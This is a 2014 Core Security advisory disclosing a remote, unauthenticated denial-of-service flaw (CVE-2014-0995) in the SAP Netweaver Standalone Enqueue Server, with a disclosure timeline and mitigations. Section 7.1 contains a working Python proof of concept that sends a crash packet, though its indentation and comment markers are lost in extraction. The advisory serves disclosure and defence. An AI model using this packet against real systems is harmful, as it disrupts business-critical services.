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SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability

1. Advisory Information

Title: SAP Netweaver Enqueue Server Trace Pattern Denial of Service
Vulnerability
Advisory ID: CORE-2014-0007
Advisory URL: http://www.coresecurity.com/advisories/sap-netweaver-enqueue-server-trace-pattern-denial-service-vulnerability
Date published: 2014-10-15
Date of last update: 2014-10-15
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information*

Class: Uncontrolled Recursion [CWE-674]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0995

3. Vulnerability Description

    SAP Netweaver [1] is a technology platform for building and integrating SAP business
    applications. A vulnerability has been found in SAP Netweaver that could allow an
    unauthenticated, remote attacker to create denial of service conditions. The vulnerability
    is triggered by sending a specially crafted SAP Enqueue Server packet to remote TCP port 32NN
    (NN being the SAP system number) of a host running the "Standalone Enqueue Server" service, part
    of SAP Netweaver Application Server ABAP/Java. The "Standalone Enqueue Server" is a critical
    component of a SAP Netweaver installation in terms of availability, rendering the whole SAP
    system unresponsive.
   

4. Vulnerable Packages

   . SAP Netweaver 7.01 (enserver.exe version v7010.32.15.63503).
   . SAP Netweaver 7.20 (enserver.exe version v7200.70.18.23869).

   Other versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

    Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities:
   
    Restrict access to the Standalone Enqueue service by configuring Access Control Lists [4] and to
    the Standalone Enqueue Service TCP port 32XX (XX is the instance number).
   
    SAP published a security note [3] with the fix.
   

6. Credits

   This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting
   Services. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core
   Advisories Team.

7. Technical Description / Proof of Concept Code

   When the trace level of the service is configured to stop logging when a pattern is found [2], the
   service does not properly control the amount of recursion resulting in a stack overflow exception.
   The vulnerability can be triggered remotely by setting the trace level with a wildcard Trace Pattern.
   This vulnerability could allow a remote, unauthenticated attacker to conduct a denial of service
   attack against the vulnerable systems, rendering the Enqueue Server unavailable.

   The following python code can be used to trigger the vulnerability:

7.1. Proof of Concept

/-----
import socket, struct
from optparse import OptionParser

Parse the target options

parser = OptionParser()
parser.add_option("-d", "–hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "–port", dest="port", type="int", help="Port
number", default=3200)
(options, args) = parser.parse_args()

def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)

Connect

print "[*] Connecting to", options.hostname, "port", options.port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((options.hostname, options.port))

print "[*] Sending crash packet"

crash = '\xab\xcd\xe1\x23' # Magic bytes
crash+= '\x00\x00\x00\x00' # Id
crash+= '\x00\x00\x00\x5b\x00\x00\x00\x5b' # Packet/frag length
crash+= '\x03\x00\x00\x00' # Destination/Opcode/MoreFrags/Type
crash+= 'ENC\x00' # Admin Eye-catcher
crash+= '\x01\x00\x00\x00' # Version
crash+= '#EAA' # Admin Eye-catcher
crash+= '\x01\x00\x00\x00\x00' # Len
crash+= '\x06\x00\x00\x00\x00\x00' # Opcode/Flags/RC
crash+= '#EAE' # Admin Eye-catcher
crash+= '\x01\x04\x00\x00' # Version/Action/Limit/Tread
crash+= '\x00\x00\x00\x00'
crash+= '\x00\x00\x00\x03\x00\x00\x00\x03' # Trace Level
crash+= '\x01' # Logging
crash+= '\x01\x40\x00\x00' # Max file size
crash+= '\x00\x00\x00\x01\x00\x00\x00\x01' # No. patterns
crash+= '\x00\x00\x00\x25#EAH' # Trace Eye-catcher
crash+= '\x01*\x00' # Trace Pattern
crash+= '#EAD' # Trace Eye-catcher

send_packet(connection, crash)
print "[*] Crash sent !"
-----/

8. Report Timeline

. 2014-06-02:

    Initial notification sent to SAP, including technical description to reproduce the
    vulnerability. Publication date set to Jun 30, 2014.

. 2014-06-03:

    Vendor notifies that the tracking number 1153917-2014 was created for this issue.

. 2014-06-26:

    Core Security requests SAP to inform the status of the advisory.

. 2014-06-30:

    The vendor informs they were not able to reproduce the issue and they request additional
    details and a proof of concept.

. 2014-06-30:

    Core Security sends SAP a full description of the vulnerability including a python script
    to trigger it.

. 2014-07-11:

    Core Security asks if the vendor was able to trigger the vulnerability. Additinally we
    requested to set a publication date for the advisory based on the release of a fix.

. 2014-07-14:

    The vendor informs they were able to reproduce the issue but they will not be able to
provide a timeline for the fix at the time. They inform they will work with high priority
on it and will inform us of the planned fix release date.

. 2014-08-12:

    Core Security asks if the vendor was able to develop a fix and if they have a possible
timeline for its availability.

. 2014-08-13:

    The vendor informs that the fix is undergoing quality checks. They also inform that
they can't provide an exact date of publication yet. They also request a 3 months grace
period once the patch is available.

. 2014-08-13:

    Core Security informs SAP that after we get notice that the fix	is available to the
public we will publish the advisory accordingly and will not wait for the 3 months of
grace as requested because that's not our proceeding policy.

. 2014-08-18:

    The vendor informs that the fix is going to be released with the
October patch day, on Tuesday the 14th, of 2014.

. 2014-10-14:

    The vendor publishes the fix under the security note 2042845.

. 2014-10-15:

    Core Security releases the advisory.

9. References

[1] http://www.sap.com/platform/netweaver/index.epx.
[2]http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/e929ca3d7001cee10000000a421937/content.htm?frameset=/en/47/ea3ef600e83b8be10000000a421937/frameset.htm
[3] SAP security note 2042845
[4] https://websmp230.sap-ag.de/sap/support/notes/1495075.

10. About CoreLabs

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11. About Core Security

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12. Disclaimer

    The contents of this advisory are copyright (c) 2014 Core Security 
    

    and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution
    Non-Commercial Share-Alike 3.0 (United States) License:
    http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

    This advisory has been signed with the GPG key of Core Security
    advisories team, which is available for download at

    http://www.coresecurity.com/files/attachments/core_security_advisories.asc.